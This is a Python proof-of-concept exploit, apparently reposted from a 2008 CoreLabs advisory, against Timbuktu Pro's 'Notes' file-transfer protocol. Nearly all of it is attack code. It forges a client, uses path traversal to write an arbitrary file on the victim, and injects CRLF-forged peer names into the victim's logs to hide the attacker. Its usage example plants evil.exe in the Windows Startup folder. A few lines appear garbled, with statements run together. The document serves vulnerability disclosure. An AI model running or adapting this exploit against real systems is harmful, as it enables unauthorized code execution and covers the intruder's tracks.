# Core Security Technologies - CoreLabs Advisory
# http://www.coresecurity.com/corelabs
# Title: Timbuktu Pro Remote Path Traversal and Log Injection
# Advisory ID: CORE-2008-0204
# Advisory URL: http://www.coresecurity.com/?action=item&id=2166
# Date published: 2008-03-11
# Date of last update: 2008-03-11
# Vendors contacted: Motorola
# Release mode: Forced release
# Proof of concept code follows. This PoC allows a remote attacker to
# upload a file to an arbitrary location on the victim's machine and forge
# peer information on the log lines of the victim's application.
from sys import argv
from socket import *
from struct import pack
#from utils import printFormatted
#from time import sleep
init_send_op_packet = ( '\x00\x01\x60\x00\x00\x52\x00\x25'
'\x00\x22\x02\x01\x00\x04\x03\x07'
'\x00\x05\x00\x01\x00\x00\x00\xf1'
'\x06\x00\xf7\x76\xdd\x77\x00\x00'
'\x00\x00\x08\x7c\x67\x60\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x18\xf1\x06\x00\xd1\x90'
'\xbc\x60\x38\xf1\x06\x00\x32\x94'
'\xc1\x60\x50\x92\xc4\x60\x00\x00'
'\x00\x00\x18\x92\xc4\x60\x2d\xbe'
'\x80\x7c\x08\x7c\x67\x60\x20\x46'
)
second_send_op_packet = ( '\x00\x01\x61\x00\x00\x52\x00\x25'
'\x00\x22\x02\x01\x00\x04\x03\x07'
'\x00\x05\x00\x01\x10\x00\xe0\xf0'
'\x06\x00\x51\x05\x91\x7c\x28\x09'
'\x08\x00\x6d\x05\x91\x7c\x1c\xf1'
'\x06\x00\x02\x00\x00\x00\x10\x00'
'\x00\x00\xb8\xf5\xbe\x60\x00\x00'
'\xac\x00\x00\x00\x00\x00\xbd\xf5'
'\xbe\x60\x30\x90\xc4\x60\x07\x00'
'\x00\x00\xd0\x13\x63\x60\x71\xfb'
'\x90\x7c\x40\xf0\x06\x00\x0e\x00'
)
peer_info_exchange = ( '\x00\x01\x62\x00\x00\xb0\x00\x23'
'\x07\x22\x03\x07\x70\x2c\xa5\x51'
'\x4c\xca\xe3\xfb\x70\x2c\xa5\x51'
'\x4c\xca\xe3\xfb\x00\x09'
'%(user_name)s'
'\x01\x97'
'%(host_name)s'
''
'\x00\x00\x01\x02\x00\x04'
'\xb1\x1c\x39\x51\x00\x00\x00\x00'
'%(guest_ip_address)s'
'\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00'
)
ack_peer_info = '\xff'
attach_info_packet = ('\xfb\x00\x00\x00\x00'
'BINAmdos'
'\xc2\x12\x49\xaf\xbd\x35\xac\x98'
'\x00\x00\x00\x00'
'%(attachment_length)s'
'\x00\x00\x00\x00'
'\xff\xff\xff\xff\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00'
'%(attachment_filename)s'
)
attach_info_ack1 = '\xf9\x00'
# Transfer file content here !!!
# \xF8 + 2 byte length + data
attach_file_ack1 = '\xf7'
attach_file_ack2 = '\xfa'
class Tb2FileSender:
'''
Fake timbuktu client that implements the 'Notes' feature to send a
message with a file attached to it.
'''
def __init__(self, target, fake_src_ip, fake_hostname, fake_username, dest_filename, file_content):
'''
Setup TCP Connection to standard port TCP/407
'''
self.sck = socket(AF_INET, SOCK_STREAM)
self.sck.connect((target, 407))
self.fake_src_ip = fake_src_ip
self.fake_hostname = fake_hostname # Peer computer name
self.fake_username = fake_username # Peer user name
self.dest_filename = dest_filename # Destination filename including path (like ../../a.exe)
self.file_content = file_content # Content of the destination file
def sendAndRecv(self, packet, log, expected_response_length=0x500, print_response=False):
self.sck.send(packet)
if log:
print '[-] %s' % log
if expected_response_length > 0:
resp = self.sck.recv(expected_response_length)
if print_response:
#printFormatted(resp)
print '-' * 70 + '\n'
return resp
return None
def getPascalString(self, str):
'''
Format the strings as 1 Byte Length + String.
'''
return pack('B', len(str)) + str
def createFakePeerInfoPacket(self):
'''
Create a packet with forged guest information to avoid giving away
real info in the log files.
'''
#
# Ohhh... by the way, these two names goes diretly to the log file... ehehhee :)
#
guest_host_name = self.fake_hostname.replace('\\n', '\r\n')
guest_user_name = self.fake_username.replace('\\n', '\r\n')
username_max_len = 0x37 # This is not the application real limit,
hostname_max_len = 0x3f # but it is the limit for this packet.
host_name = self.getPascalString(guest_host_name)
user_name = self.getPascalString(guest_user_name)
# Pad the string to fill the empty space and avoid packet length recalculation
host_name += ('\x00' * (hostname_max_len - len(guest_host_name)))
user_name += ('\x00' * (username_max_len - len(guest_user_name)))
guest_ip_address = self.fake_src_ip.split('.')
guest_ip_address = pack('BBBB', int(guest_ip_address[0]), int(guest_ip_address[1]), int(guest_ip_address[2]), int(guest_ip_address[3]))
return peer_info_exchange % vars()
def getAttachContent(self):
'''
Retrieve the content of the local file and send it as the attach content.
'''
fd = open(self.file_content, 'rb')
data = fd.read()
fd.close()
return data
def send(self):
'''
Send a sequence of packet to upload our data to the filename and path
specified by the user's parameters.
'''
# Begin protocol negotiation with the target
self.sendAndRecv(init_send_op_packet, 'Note Operation initial packet sent.')
self.sendAndRecv(second_send_op_packet, 'Note Operation negotiation packet sent.')
# Send the packet with our fake info to fool the logs :)
self.sendAndRecv(self.createFakePeerInfoPacket(), 'Peer info packet sent.')
self.sendAndRecv(ack_peer_info, 'Ack peer info packet sent.')
# Setup attachment packets that contain information about the file being transfered
max_trx_chunk_size = 0x5B4
trx_until_resync = 0x16C5
payload = self.getAttachContent()
payload_length = len(payload)
attachment_length = pack('>L', payload_length)
#
# Send info about the attachment.
#
# The '\' character is nedded to bypass the application filter.
# This is actually the Bug !
attachment_filename = self.getPascalString('\\' + self.dest_filename.replace('\\', '/'))
attach_info = attach_info_packet % vars()
self.sendAndRecv(attach_info , 'Attachment info sent.')
self.sendAndRecv(attach_info_ack1, 'Attachment intermediate info sent.')
# Create a list with the chunks to send and prepare their headers is appropriate
attachment_content = list()
# We check if the data to send fits into one set of chunks.
if payload_length < max_trx_chunk_size:
attachment_content.append('\xF8' + pack('>H', payload_length) + payload)
else:
# If the data is bigger than one chunk, then send multiple chunks and their headers.
curr_pos = 0 # keeps our current position into the data file content
resync_chunk = True # flag to indicate if a new set of chunk should be set
pos_in_chunk = 0 # keeps our position into the current chunk set
do_recv = False # flag to indicate if recv is needed to receive target data
while curr_pos <= payload_length:
do_recv = False
# Is this the last chunk ?
if curr_pos > 0 and pos_in_chunk != trx_until_resync:
# If it is the last chunk, then just set length to the rest of the data
if trx_until_resync - pos_in_chunk < max_trx_chunk_size:
chunk_length = trx_until_resync - pos_in_chunk
do_recv = True
else:
# Otherwise, set the data length as usual because it's an intermediate chunk
chunk_length = max_trx_chunk_size data = ''
else:
# Start a new set of chunks and check if this is not the last set
# If it is, then don't set the maximun size, just the rest of the length.
data = '\xF8' # Set the chunk set header
if payload_length - curr_pos < trx_until_resync:
chunk_length = payload_length - curr_pos
data += pack('>H', chunk_length)
else:
# This is not the last chunk, so we set the maximun size and begin
# it transmittion.
chunk_length = max_trx_chunk_size
data += pack('>H', trx_until_resync) pos_in_chunk = 0
# Append the current chunk into a list to be sent later
attachment_content.append((do_recv, data + payload[curr_pos : curr_pos + chunk_length]))
curr_pos += chunk_length
pos_in_chunk += chunk_length
#
# Send file content in small chunks
#
print '[-] Beginning file transfer... (this may take some time)'
for chunk in attachment_content:
if chunk[0]:
do_recv = 0x500
else:
do_recv = 0
self.sendAndRecv(chunk[1], '', do_recv)
#sleep(0.5)
print '[-] File transfer complete'
# Send the final ACKs to allow the program to create the remote file.
self.sendAndRecv(attach_file_ack1, 'Note body intermediate info sent.')
self.sendAndRecv(attach_file_ack2, 'Note body intermediate info sent.')
# Close the connection here to avoid the program displaying any message
self.sck.close()
return
if __name__ == "__main__":
if len(argv) != 7:
print (r'\nUsage:\n\n%s <target> <fake_source_ip> <fake_hostname> '
'<fake_username> <dest_filename_with_path> <file2upload>\n\n'
'Example:\n\n'
'%s victim.com 1.2.3.4 trust.com yourAdmin "..\..\..\Documents And Settings\All Users\Start Menu\Programs\Startup\evil.exe" c:\payload.exe' % (argv[0], argv[0]) )
else:
target = argv[1]
fake_src_ip = argv[2]
fake_hostname = argv[3]
fake_username = argv[4]
dest_filename = argv[5]
file_content = argv[6]
tb2 = Tb2FileSender(target, fake_src_ip, fake_hostname, fake_username, dest_filename, file_content)
tb2.send()
# milw0rm.com [2008-03-11]